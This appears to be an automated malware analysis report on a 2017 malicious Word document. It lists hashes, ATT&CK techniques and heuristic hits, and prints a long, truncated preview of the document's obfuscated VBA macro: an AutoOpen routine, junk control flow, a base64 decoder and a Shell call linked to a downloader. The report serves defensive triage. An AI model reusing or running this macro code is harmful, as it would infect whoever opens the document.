Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6de950c4a7b53663…

MALICIOUS

Office (OLE)

277.0 KB Created: 2017-06-27 15:59:00 Authoring application: Microsoft Office Word First seen: 2017-07-07
MD5: 33fc0819b9c1a29303bb4544ede18e26 SHA-1: 50e19b96ff92e2f685b267b56ee17d4d348e9aef SHA-256: 6de950c4a7b53663d3cd51b23183d71b370f0f4f44df673be9dc0b2d19501678
212 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen function, which is a common technique for executing malicious code upon opening the document. Heuristics indicate potential shell calls and obfuscation, suggesting the macro is designed to download and execute a secondary payload. The ClamAV detection further supports its malicious nature. While specific URLs are benign, the presence of obfuscated VBA code and the AutoOpen marker strongly indicate a macro-based downloader.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6331107-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6331107-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    f2EuMI = RyrxbXYh & qm5AgpTLO
    Call Shell(c3w1Sz, oO3CL)
    End Function
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "EwG4e0x"
    Sub AutoOpen()
    J0JS3AnR = -19 + 106
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://www.iec.chIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 80825 bytes
SHA-256: 2bf0c45e3d95980e411d853db090f7e92b2069010090defd00b98b65b23f0359
Detection
ClamAV: No threats found
Obfuscation or payload: likely
942 of 1807 identifiers look randomly generated (e.g. 'lzdGVtLk5ldC5XZWJDbGllbnQ7JHJhbmRvbSA9IG') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "EwG4e0x"
Sub AutoOpen()
J0JS3AnR = -19 + 106
Select Case J0JS3AnR
Case 3800 - 3797
EMf3T7XG = True
End Select
Z3G2M = -19 + 106
Select Case Z3G2M
Case 3800 - 3797
dVlkiw = True
Case -301 + 333
uM6ZjKgC = ANOUvgqzC
Case 446 - 410
PQ1aJE = True
Case Else
veERuOx9i = 24448.461728452
End Select
HTprMVil = -19 + 106
Select Case HTprMVil
Case 3800 - 3797
uvjluX = False
Case -301 + 333
JZutUyHr8 = -22778
Case 446 - 410
yyizYcZn = iVde3U
End Select
F6ADcHYaZ = -19 + 106
Select Case F6ADcHYaZ
Case 3800 - 3797
hx8v3c2 = 2248.4442220475
Case -301 + 333
JRSDh = 17349
Case 446 - 410
IEnuwgCo = 0
End Select
yecXl7EHT = -19 + 106
Select Case yecXl7EHT
Case 3800 - 3797
baFyl2 = 168
Case -301 + 333
LduW2vhpn = True
Case 446 - 410
pyGxFtN8h = GjxAsKBJq
Case Else
H9kYqesu = 11725
End Select
D0DofqR = 2280 / 57
Select Case D0DofqR
Case 25454 / 25454
bQYOCgui = 180
Case 680 / 34
LFwUSE1 = 42131.337315024
Case 472 / 8
PDTNlLYOG = ljfE5xnK
End Select
FMlaWHuSr = 2280 / 57
Select Case FMlaWHuSr
Case 25454 / 25454
J3TElNBSc = 1638.0739719446
Case 680 / 34
O96rG = -14370
Case 472 / 8
YASqC = False
Case Else
oXjT28 = 1638.0739719446
End Select
cFQ2mTa = 981 + 16
If cFQ2mTa = 25454 / 25454 Then
bYWUE = 59441.686807027
Else
wGp4t2u = 59441.686807027
End If
lcxN6wMs = bYWUE & wGp4t2u
hUfnkQV3 = 2280 / 57
Select Case hUfnkQV3
Case 25454 / 25454
naSmj = -98115974
Case 680 / 34
q81XZ9S = 2401.3422227309
Case 472 / 8
I3jVNRC = 55141.81541201
End Select
rATtc8lj = 2280 / 57
Select Case rATtc8lj
Case 25454 / 25454
s14r8wR = 0
Case 680 / 34
yM2nVJehd = 0
Case 472 / 8
yBQZd4S = True
Case Else
GDZjP4s = 0
End Select
rtBwOM = 195 + 24
If rtBwOM = -3456 + 3464 Then
TJxTaq = True
ElseIf rtBwOM = -811 + 841 Then
U56HpGoF = 64186.950374235
Else
QszniQJ = 201
End If
eacdKvxNy = TJxTaq & U56HpGoF & QszniQJ
Pj1rhfIb2 = 4104 / 38
Select Case Pj1rhfIb2
Case -3456 + 3464
WdifJDK8 = 86
Case -811 + 841
bmqAb1Zf = 42502.628382018
End Select
ZwJlXCy = 4104 / 38
Select Case ZwJlXCy
Case -3456 + 3464
WSwLB = 7173.1964188517
Case -811 + 841
PJWjAQ = 56244.748258392
Case 566 - 503
yTmOd = 56244.748258392
Case Else
JdWc5 = 56244.748258392
End Select
g6q4ebG7 = 195 + 24
If g6q4ebG7 = -3456 + 3464 Then
GiP6bt3U = True
End If
mpw0W = mpw0W & GiP6bt3U
sDbcw0TO = 25578 / 522
Select Case sDbcw0TO
Case 31380 / 3138
deiwrlA = False
End Select
RW4MTwlC = 7952 / 8
If RW4MTwlC = 31380 / 3138 Then
PR4zjf = 187
End If
Fl5hcLagr = Fl5hcLagr & PR4zjf
Hj6B42c = 25578 / 522
Select Case Hj6B42c
Case 31380 / 3138
RnLFHuC = True
End Select
ZX47GTP = 25578 / 522
Select Case ZX47GTP
Case 31380 / 3138
h0yKbQBR = 0
Case -500 + 532
PJyHTaFQK = 56018.099458456
Case 16 + 43
eHKEA = 56018.099458456
Case Else
R6hv9A = 56018.099458456
End Select
oUl8r0 = 250 - 63
If oUl8r0 = 746 - 735 Then
lZ1rvLmM8 = False
Else
jPfnoKdC9 = 2331.8083697448
End If
z16JunSNE = lZ1rvLmM8 & jPfnoKdC9
H6BNOEg = 18369 / 157
Select Case H6BNOEg
Case 746 - 735
trxA0I2Hn = 14221.074083104
Case 1056 - 1033
RFazMb = 163
Case 7520 / 235
rwrSI = False
End Select
tp5XvO6Gh = 250 - 63
If tp5XvO6Gh = 746 - 735 Then
uS2onLiB = i60E9lPV
End If
mSsRXTbo0 = mSsRXTbo0 & uS2onLiB
f0pLAsg = 250 - 63
If f0pLAsg = 746 - 735 Then
FDnQxRBw = -524584580
End If
VC4tkWEF6 = VC4tkWEF6 & FDnQxRBw
INMnDz = 25132 / 244
Select Case INMnDz
Case 22950 / 1530
g7ys3Gnfr = 28584.220632958
Case -934 + 963
WekfhG = 28584.220632958
Case 24840 / 621
ZWSvcs = 0
End Select
nlqM32P = 897 - 28
If nlqM32P = 22950 / 1530 Then
BDhk0UX = I6m7jkt0U
ElseIf nlqM32P = -934 + 963 Then
yCOB5 = 65180.788202639
Else
UTEapFHwg = I6m7jkt0U
End If
MGFf1A = BDhk0UX & yCOB5 & UTEapFHwg
DjJTey6Yf = 25132 / 244
Select Case DjJTey6Yf
Case 22950 / 1530
LUF2OdhRu = 63399.753441293
End Select
LUhBx = 28160 / 220
Select Case LUhBx
Case 103 - 90
E4BxC = catmKgYL
Case 481 - 450
cSezMuwA = 61061.678641702
Case -429 + 468
HJk3Usle = True
Case Else
Ff8Xvc = True
End Select
BfQEiRn = 28160 / 220
Select Case BfQEiRn
Case 103 - 90
AgGfxS0Qo = False
Case 481 - 450
v5YPLO = -5931
End Select
sHETCjz = 28160 / 220
Select Case sHETCjz
Case 103 - 90
gLsqWzA = 60096.27238707
Case 481 - 450
xImaj1d = False
Case -429 + 468
EBKznEsT = bSpyUCg9
Case Else
HZuoRjN = -14502
End Select
wnvPm = 404 - 39
If wnvPm = 103 - 90 Then
FWS5y = 0
Else
cIHhUF = -1501
End If
gDtcsE = FWS5y & cIHhUF
rWrDdCSGk = 404 - 39
If rWrDdCSGk = 103 - 90 Then
neTP8y = aELN95Dh6
End If
aiZG9jdl = aiZG9jdl & neTP8y
PDZMgEhB = 26730 / 27
If PDZMgEhB = 30702 / 2193 Then
sndr1t = 31949.913019866
ElseIf PDZMgEhB = -1411 + 1427 Then
ZT5q4okb = -2060439998
Else
h67CS = 6
End If
gAM1dP4OH = sndr1t & ZT5q4okb & h67CS
RvDbpWaeA = 26730 / 27
If RvDbpWaeA = 30702 / 2193 Then
zHpo9nzUb = True
Else
EvHGCeASO = 53056.656529349
End If
kxsXn = zHpo9nzUb & EvHGCeASO
IPiSVUtO = 398 - 312
Select Case IPiSVUtO
Case 30702 / 2193
DortfLMSz = 40285.775399334
End Select
Pu43U = 9688 / 56
If Pu43U = 26124 / 2177 Then
dl2mPSNvW = 102
ElseIf Pu43U = 24 - 7 Then
ekTfL = True
Else
Fu5VrWesD = UTNjm8vtx
End If
qFwNDC = dl2mPSNvW & ekTfL & Fu5VrWesD
Nj5Eu3zXK = -380 + 430
Select Case Nj5Eu3zXK
Case 26124 / 2177
IQOLz8CIp = 28345.528559431
End Select
aHsRSYA0 = -380 + 430
Select Case aHsRSYA0
Case 26124 / 2177
IeHXIgJ = 0
Case 24 - 7
njQNVZ = 116
Case -452 + 492
Hc7wG = 0
Case Else
aUy5uk = 0
End Select
SNSyA = 9688 / 56
If SNSyA = 26124 / 2177 Then
hoEjmL = True
ElseIf SNSyA = 24 - 7 Then
ADTaSLer = knFZ0RWcG
Else
wpY10FB = 22239.22355898
End If
SAynToZDJ = hoEjmL & ADTaSLer & wpY10FB
B8RAVubld = 28665 / 35
If B8RAVubld = -1531 + 1542 Then
WnBhF = -1465349380
Else
SFjoA = True
End If
E9qgayn = WnBhF & SFjoA
xdnH5 = 28665 / 35
If xdnH5 = -1531 + 1542 Then
lfniuaR = 59465.738686768
End If
CFSLMbi = CFSLMbi & lfniuaR
OnGE1Y9 = -146 + 194
Select Case OnGE1Y9
Case -1531 + 1542
JJFp05 = 59991.459835601
End Select
K1tFH8MpR = 3450 / 50
Select Case K1tFH8MpR
Case 1515 - 1510
ysY8f2GLP = 40635.81328053
Case -263 + 290
uiwhc0 = 58027.565280188
Case 188 - 128
FtoT7wzyS = 15972
Case Else
sz13fB0E = jUzdK4
End Select
BUhp2 = 3450 / 50
Select Case BUhp2
Case 1515 - 1510
DoOkzMFA = zZKoC8F7D
End Select
PcWedpPg = 3450 / 50
Select Case PcWedpPg
Case 1515 - 1510
ACpuBnkh = -17763
Case -263 + 290
WUYeRycmS = -17763
Case 188 - 128
rIML5D = 31374.798397309
Case Else
q17FrX = 183
End Select
IZbuC = 20 + 63
If IZbuC = 1515 - 1510 Then
iYzHSFf = 31954
Else
teC25j = 25662.149998429
End If
HudYhw = iYzHSFf & teC25j
DuWfgVN = 28959 / 147
If DuWfgVN = 1317 - 1307 Then
uJ12vA = -28461
Else
qy3BYfFh2 = 10755.683904467
End If
Z5tOYU3C = uJ12vA & qy3BYfFh2
lzdHIk = 87 + 41
Select Case lzdHIk
Case 1317 - 1307
Q2JObAtdj = 11409.780142598
Case -436 + 458
IS5nM = 841.94043806313
Case 319 - 277
Ei8Wdn = 0
End Select
JHdpYVg6 = 87 + 41
Select Case JHdpYVg6
Case 1317 - 1307
w1WX20pwr = -6397
Case -436 + 458
NkOzC8YP = 18870.833947531
Case 319 - 277
MheGc4P = -1281791568
End Select
TnGcBzJ7L = 28959 / 147
If TnGcBzJ7L = 1317 - 1307 Then
kPxegNLZB = 31882.821176803
End If
kmVzHbLRl = kmVzHbLRl & kPxegNLZB
WBc9kj8Z = 262 - 216
Select Case WBc9kj8Z
Case -1358 + 1374
p9vsIr = 9208.4195997186
Case 515 - 484
v9IroOZ = 60366.907272392
Case 17437 / 329
KULzC4At6 = True
Case Else
Uq79oSR = gmPZW
End Select
qAYleHD = 262 - 216
Select Case qAYleHD
Case -1358 + 1374
Tt1oDkypK = nZc1Wt2iL
Case 515 - 484
pKgS6OMmw = nZc1Wt2iL
Case 17437 / 329
ejYtd1C = False
Case Else
DRynE = -20629
End Select
MkKPo = 248 - 56
If MkKPo = -1358 + 1374 Then
XF1Bprysl = 404.97324740917
Else
hj9xDI6 = 1598.4146639165
End If
jKcI2AvOT = XF1Bprysl & hj9xDI6
wGJXzw = 248 - 56
If wGJXzw = -1358 + 1374 Then
brWt1xO = 0
Else
kD3rVl8 = sJqiKL
End If
ytU8gCm = brWt1xO & kD3rVl8
wrg7sh
Q6Wg7vYEt = 59 * 2
Select Case Q6Wg7vYEt
Case 22848 / 2856
Hlu1S29YU = 9389.7404157633
Case 940 - 913
VgADL = 41392.879904587
Case 166 - 132
m0vdwMXTP = 24438
Case Else
fh0u9 = 31
End Select
fKZgHh = 59 * 2
Select Case fKZgHh
Case 22848 / 2856
HWix2s = 47106.685817573
Case 940 - 913
kQRmSpXj = 47106.685817573
Case 166 - 132
jynsOc = False
End Select
yUbmEVew = 21600 / 48
If yUbmEVew = 22848 / 2856 Then
grtdS = 64380.553687521
Else
AmRM0s = True
End If
pxyXvRbPQ = grtdS & AmRM0s
cylDLTrs = 59 * 2
Select Case cylDLTrs
Case 22848 / 2856
Fx8cklI = MItPq
End Select
Zd6VF1Zhs = 8720 / 16
If Zd6VF1Zhs = 27330 / 2733 Then
xhIDJ42N = 20744
ElseIf Zd6VF1Zhs = 576 - 549 Then
HtUmIJGo = 46491.274323457
Else
z4lupdZL = 37951.532542108
End If
zW8rt = xhIDJ42N & HtUmIJGo & z4lupdZL
KMUyTH = 118 - 67
Select Case KMUyTH
Case 27330 / 2733
NomPdH = 46321.139463739
Case 576 - 549
YgH6x = 14463
Case 72 - 15
JSM1fT = 46321.139463739
Case Else
Rf7lsXh = 14463
End Select
eog8x4 = 118 - 67
Select Case eog8x4
Case 27330 / 2733
CWdZhSV = k026q
End Select
ICpH49O = 118 - 67
Select Case ICpH49O
Case 27330 / 2733
aBDUbl = 185
Case 576 - 549
fsWtJBc = 10932.501157517
Case 72 - 15
aULXlSbh9 = 185
End Select
iIrHPm = 8720 / 16
If iIrHPm = 27330 / 2733 Then
JYSl6G = -839574168
Else
VM6evU = True
End If
n3MgT = JYSl6G & VM6evU

zlYyJ = -1361 + 1367
Select Case zlYyJ
Case 6120 - 6118
SfK9G5a3 = 31785.649347575
End Select
V8zuExy = 608 + 15
If V8zuExy = 6120 - 6118 Then
TwUinh = -29917
Else
F7MlHh4 = 42
End If
HHmjY = TwUinh & F7MlHh4
riKmU = -1361 + 1367
Select Case riKmU
Case 6120 - 6118
yrocTn = 18092.358195227
Case -924 + 951
AlpOb = True
End Select
gDpUSWeI = 727 + 20
If gDpUSWeI = 30720 / 2048 Then
dIJxraH = -883484686
ElseIf gDpUSWeI = 1465 - 1446 Then
m0C8F = syirAPwSq
Else
OXwCEVb62 = 23126.448417782
End If
QcEHGl1 = dIJxraH & m0C8F & OXwCEVb62
nQRCV = 54 + 73
Select Case nQRCV
Case 30720 / 2048
ZQKqHwL = False
Case 1465 - 1446
m6vis2E9Y = 0
Case 7359 / 223
q0xh6PuU = 6616.6846318366
End Select
JfykeSVi = 54 + 73
Select Case JfykeSVi
Case 30720 / 2048
tRyea2 = False
Case 1465 - 1446
cl49Y8IXv = 25057.587277055
Case 7359 / 223
uQBui8G = 25057.587277055
End Select
W7VsJ = 54 + 73
Select Case W7VsJ
Case 30720 / 2048
T7QFZsvq = 0
End Select
guDjc4G8 = 13717 / 319
If guDjc4G8 = 379 - 364 Then
gGuA9 = 0
End If
jogFOYUKr = jogFOYUKr & gGuA9
mQgUpYmWE = 13717 / 319
If mQgUpYmWE = 379 - 364 Then
jC5cks1Z0 = 181
End If
PFftcux = PFftcux & jC5cks1Z0
KLDAeI = 13717 / 319
If KLDAeI = 379 - 364 Then
b2UwSs = 49488.383213214
End If
Rp2YNHve = Rp2YNHve & b2UwSs
End Sub

Attribute VB_Name = "zKyhAxO"
Private Const soHsxC = 1353646080 / 81
Private Const f6hdiecbo = 49700 + 15580
Private Const AveBX = 147 + 108
Private Const H0fXDcCd = 263153 - 1009
Private Const YbJHws8lp = 4089 + 7
Private Const EzheEf9 = 392 - 328
Private Const gBeSqW = 329 - 73
Private Const fd8soY = 82915 - 17379
Public Function XSMHaOjw4(K2iqtp As String) As String
Dim oORz1L() As Byte
Dim VRIn1WwUt() As Byte
Dim vQilqPz(255) As Byte
Dim ZVRsdPi(63) As Long
Dim FW9m8(63) As Long
Dim i3B8aMjXq(63) As Long
Dim PrFt0gOM As Long
Dim KYR1tLUX As Integer
Dim lChar As Long
Dim lPos As Long
Dim sOut As String
Dim SIBqw As Long
y64SMQ7m = -266 + 300
Select Case y64SMQ7m
Case 9774 / 4887
cZfr4w = True
Case 197 - 177
wUm5BWS = 0
End Select
ZMAEDHv = 878 + 36
If ZMAEDHv = 9774 / 4887 Then
IGEaLecW8 = True
ElseIf ZMAEDHv = 197 - 177 Then
Z8U9Zu = 0
Else
uMErmSp = L2MJmU
End If
EBM9jmd = IGEaLecW8 & Z8U9Zu & uMErmSp
fflj8nUs = -266 + 300
Select Case fflj8nUs
Case 9774 / 4887
sKasHwUO = False
Case 197 - 177
ztpBdzD = -2347
Case -426 + 461
BD8mqfR = False
End Select
QU3ymfejr = 878 + 36
If QU3ymfejr = 9774 / 4887 Then
cILORGF9x = False
End If
twh3F = twh3F & cILORGF9x
YgFrY7iKP = 4352 / 34
Select Case YgFrY7iKP
Case -1479 + 1492
UYGxgbu3H = Ybl9Q7MpV
End Select
iop18 = 167 + 87
If iop18 = -1479 + 1492 Then
RvjtcA2Ri = Hmpwk4Z
Else
FXvPLgmo5 = -21047
End If
uTMYFuydl = RvjtcA2Ri & FXvPLgmo5
y96b8c = 167 + 87
If y96b8c = -1479 + 1492 Then
BLRGXM = -28814
Else
qw2kvn = 242
End If
NVt8f = BLRGXM & qw2kvn
DZOW4PND = 4352 / 34
Select Case DZOW4PND
Case -1479 + 1492
kYrVd = 42593.136311284
Case 20240 / 920
O1PAxNG = True
End Select
LQTJ3zGb = 167 + 87
If LQTJ3zGb = -1479 + 1492 Then
cFLod2uZ = 33478.845206384
ElseIf LQTJ3zGb = 20240 / 920 Then
Z6iETjYD = 36039.743546794
Else
SjPWlQN = True
End If
VDEP7W6q = cFLod2uZ & Z6iETjYD & SjPWlQN
uW9awriIl = 23598 / 207
Select Case uW9awriIl
Case -890 + 905
hg10IF3 = -2030132818
End Select
gaZgYoW = 257 - 133
If gaZgYoW = -890 + 905 Then
kghULj = 40230.027102971
End If
J1jOhlV = J1jOhlV & kghULj
ZkxR50bJZ = 23598 / 207
Select Case ZkxR50bJZ
Case -890 + 905
fUMAh = 8081.3938891121
Case 171 - 141
k2XyQH0 = 0
End Select
EBkLNetJ = 23598 / 207
Select Case EBkLNetJ
Case -890 + 905
WTR1Mqs5y = True
Case 171 - 141
IJZh6aB = 24167.572147033
End Select
Nifpr8km = 257 - 133
If Nifpr8km = -890 + 905 Then
cYTGP2 = CLaHY
End If
etFZ6l = etFZ6l & cYTGP2
K2iqtp = Replace(K2iqtp, vbCr, vbNullString)
gCHwm = -2020 + 2033
Select Case gCHwm
Case -486 + 502
feLJd = rJgsT
End Select
jTJyi = 485 - 67
If jTJyi = -486 + 502 Then
ihPiIwc = False
ElseIf jTJyi = -817 + 842 Then
R06MJ3 = -27287
Else
Ofis9VK = 145
End If
zS4WKfq = ihPiIwc & R06MJ3 & Ofis9VK
AOWPXz = 485 - 67
If AOWPXz = -486 + 502 Then
WR2wS49t5 = 7133
End If
AStI8 = AStI8 & WR2wS49t5
LNz3p1f8 = 485 - 67
If LNz3p1f8 = -486 + 502 Then
LZyUY = 3576.1931020924
ElseIf LNz3p1f8 = -817 + 842 Then
ZbzjZp = 35016.451424599
Else
NlcBfb4 = 35016.451424599
End If
Z3fhg = LZyUY & ZbzjZp & NlcBfb4
LDVwHK2W = -2020 + 2033
Select Case LDVwHK2W
Case -486 + 502
peuRH = 23714.385110662
Case -817 + 842
sEbkWxnL = 104
End Select
eXZAy4vh = 25200 / 200
Select Case eXZAy4vh
Case 3804 / 634
bRoSKg = -27525
Case -111 + 132
ERxacpS4 = -27525
Case 142 - 81
IIK4P = 10670.359337411
End Select
MS1ey = 782 + 4
If MS1ey = 3804 / 634 Then
b6mAHdW = -25747
End If
JZ4YX = JZ4YX & b6mAHdW
sdZO8K = 25200 / 200
Select Case sdZO8K
Case 3804 / 634
YovG1 = 86
Case -111 + 132
ny9fpEP = 86
End Select
miZI5Esf = 24992 / 142
If miZI5Esf = 1487 - 1480 Then
DPZ8MQ = -1665169010
Else
nXLVAkZ7 = 8009
End If
XWgoD3 = DPZ8MQ & nXLVAkZ7
w2qweQs = 24992 / 142
If w2qweQs = 1487 - 1480 Then
Rj5LgqM40 = False
End If
a7enl3 = a7enl3 & Rj5LgqM40
ZI8j2 = 87 - 45
Select Case ZI8j2
Case 1487 - 1480
OH9hmQSpw = 23762.356792078
End Select
K2iqtp = Replace(K2iqtp, vbLf, vbNullString)
BniLstQZ6 = 696 - 46
If BniLstQZ6 = 17194 / 8597 Then
DT9PBNpys = 10482.792949994
End If
JCGMN90Z = JCGMN90Z & DT9PBNpys
X3ZjPK1nO = 1017 / 9
Select Case X3ZjPK1nO
Case 17194 / 8597
qyKuaF = 24260
Case 24508 / 1114
MEtk4ceR2 = tvFnhEKC7
Case 5432 / 97
Cw7BN = 30422.686221191
End Select
J2tiYVq = 1017 / 9
Select Case J2tiYVq
Case 17194 / 8597
dWnzCiv = False
Case 24508 / 1114
QuKh6o0w = lj56ZWn
Case 5432 / 97
dTGv3E = -1008255436
End Select
fXDU2 = 22797 / 153
If fXDU2 = 2024 - 2011 Then
PbReI1Pg = 238
Else
qpINaKted = 0
End If
GmpnaAwo = PbReI1Pg & qpINaKted
wpKN19 = 1534 / 13
Select Case wpKN19
Case 2024 - 2011
NlvBWT = srAd3VWpQ
End Select
VywOar1Vg = 1534 / 13
Select Case VywOar1Vg
Case 2024 - 2011
KlyivTCMz = 32402.372680841
End Select
vUmv7n = -543 + 587
Select Case vUmv7n
Case 24128 / 1508
gGkYKC = 0
Case 1272 - 1252
qkOET0 = True
End Select
VGMIEvPk7 = 604 + 45
If VGMIEvPk7 = 24128 / 1508 Then
Rj10kNx = 30053.402295255
ElseIf VGMIEvPk7 = 1272 - 1252 Then
LzEQ5pLe = 55415.291135408
Else
h6FGp3 = 101
End If
k5TAC8bsi = Rj10kNx & LzEQ5pLe & h6FGp3
gPNy9LAw = 604 + 45
If gPNy9LAw = 24128 / 1508 Then
TT8Qhz = -1072
Else
LrB7URZY = 5191.182907244
End If
IEOkb = TT8Qhz & LrB7URZY
hUojZ = -543 + 587
Select Case hUojZ
Case 24128 / 1508
wZhyH6S = -1543190564
End Select
SIBqw = Len(K2iqtp) Mod 4
gIiGxkF3Q = 2030 / 29
Select Case gIiGxkF3Q
Case 2829 - 2826
kFo7a = 69
Case -166 + 195
g1SpVMmzi = -723250498
Case 83 - 27
TmG7byw = -723250498
End Select
bhuYmzoK = 242 - 89
If bhuYmzoK = 2829 - 2826 Then
O2Wmtz = 0
Else
rRoJWfcxu = 1039.9551526624
End If
XIipbH1sz = O2Wmtz & rRoJWfcxu
mRgqufUD = 242 - 89
If mRgqufUD = 2829 - 2826 Then
YtHBMQX = 0
ElseIf mRgqufUD = -166 + 195 Then
siAQDem = dpbqKFgGk
Else
s7CVftM = 60077.407317973
End If
XF0X9 = YtHBMQX & siAQDem & s7CVftM
Avh8MX = 3308 / 4
If Avh8MX = -1340 + 1354 Then
MYLjml2 = True
End If
D9e2rYvJ = D9e2rYvJ & MYLjml2
Qlp0gGSO = 3308 / 4
If Qlp0gGSO = -1340 + 1354 Then
thPWL = -4214
End If
uD4Mtx7V = uD4Mtx7V & thPWL
wteMufPQC = 3308 / 4
If wteMufPQC = -1340 + 1354 Then
IngyO75e = False
End If
OwNonu1R = OwNonu1R & IngyO75e
If InStrRev(K2iqtp, "==") Then
XkK3MNR10 = 758 - 729
Select Case XkK3MNR10
Case -10309 + 10312
RbhnPz = -30904
Case -1307 + 1330
OnwhR7AHM = 7278.4235147878
Case 571 - 511
gguHMECi = -30904
Case Else
h4qOAWR = 7278.4235147878
End Select
vzMfynme = 769 + 11
If vzMfynme = -10309 + 10312 Then
l0Hek8ya = nYMFyqbN
ElseIf vzMfynme = -1307 + 1330 Then
IGuN3LdfX = 5812.9122067406
Else
rMxlPFHSR = 3320.9917280293
End If
mzpqE = l0Hek8ya & IGuN3LdfX & rMxlPFHSR
kE5gvTa = 769 + 11
If kE5gvTa = -10309 + 10312 Then
Y5t9dO = -28092
ElseIf kE5gvTa = -1307 + 1330 Then
hKYDoZHI = 2627.5137655321
Else
Zi0IrV = 0
End If
IARvc5YV = Y5t9dO & hKYDoZHI & Zi0IrV
Oy4Klbh = 758 - 729
Select Case Oy4Klbh
Case -10309 + 10312
I0yXc9H = 15950.239120601
End Select
VcgJtSx = 758 - 729
Select Case VcgJtSx
Case -10309 + 10312
os09cdK = False
Case -1307 + 1330
bUmhfG = 14994.380144864
End Select
RnBt7zkaT = 465 - 57
If RnBt7zkaT = -567 + 578 Then
ixFZ5N = 35170.326400147
Else
RJ6Lit = 35170.326400147
End If
aodPzj = ixFZ5N & RJ6Lit
gZAu4yaG2 = 465 - 57
If gZAu4yaG2 = -567 + 578 Then
eBdvYkRAF = -1868452100
Else
rTEmxqJp = 1535.1585473406
End If
m29j6x = eBdvYkRAF & rTEmxqJp
pI4j3TZ = -306 + 353
Select Case pI4j3TZ
Case -567 + 578
tHVv4Z = 63646.635331481
Case 1128 - 1111
G3149 = -462850838
End Select
IGFp2rxe = -306 + 353
Select Case IGFp2rxe
Case -567 + 578
EpCcDYAqk = kNF0H6Cc
End Select
J5TPcORY = 4175 / 167
Select Case J5TPcORY
Case 27846 / 1989
ETVoOA = -10863
End Select
OZYQg = 1024 - 12
If OZYQg = 27846 / 1989 Then
mtoeF = 29
Else
Ys352y = -26499
End If
aTVRZs1 = mtoeF & Ys352y
I32uYjz = 4175 / 167
Select Case I32uYjz
Case 27846 / 1989
nkNyY8LZn = -377132680
Case 1574 - 1556
Xh8IL1 = 209
End Select
TpSyVOh1 = 4175 / 167
Select Case TpSyVOh1
Case 27846 / 1989
cfGHL2ygD = wRwek
End Select
KYR1tLUX = 2
ElseIf InStrRev(K2iqtp, "=") Then
stGnH = 133 - 107
Select Case stGnH
Case 1387 - 1371
UAWO6ewPL = 15930.797155994
Case 1458 / 54
MG51jM2 = cdmLznR
Case 406 - 354
EfxpN0 = 47240.364262372
End Select
oo95yFfEN = 133 - 107
Select Case oo95yFfEN
Case 1387 - 1371
B1O6RouZ0 = 0
Case 1458 / 54
jVPsZERWD = False
Case 406 - 354
WNM15rR = 41639.423329471
Case Else
N1sCFBSh = 3132.4719859923
End Select
lYHRUKu3 = 133 - 107
Select Case lYHRUKu3
Case 1387 - 1371
Cb28CSB = 27075
Case 1458 / 54
tzjaJY5 = 27075
End Select
N3fkbIr = 935 - 21
If N3fkbIr = 1387 - 1371 Then
C0MZi = 14478.370640098
Else
DaZ0Wi = 111
End If
rNh8cSk = C0MZi & DaZ0Wi
hnUGO = -285 + 360
Select Case hnUGO
Case 22830 / 22830
unlJDya = True
Case 1057 - 1029
OLo4p = -21184
…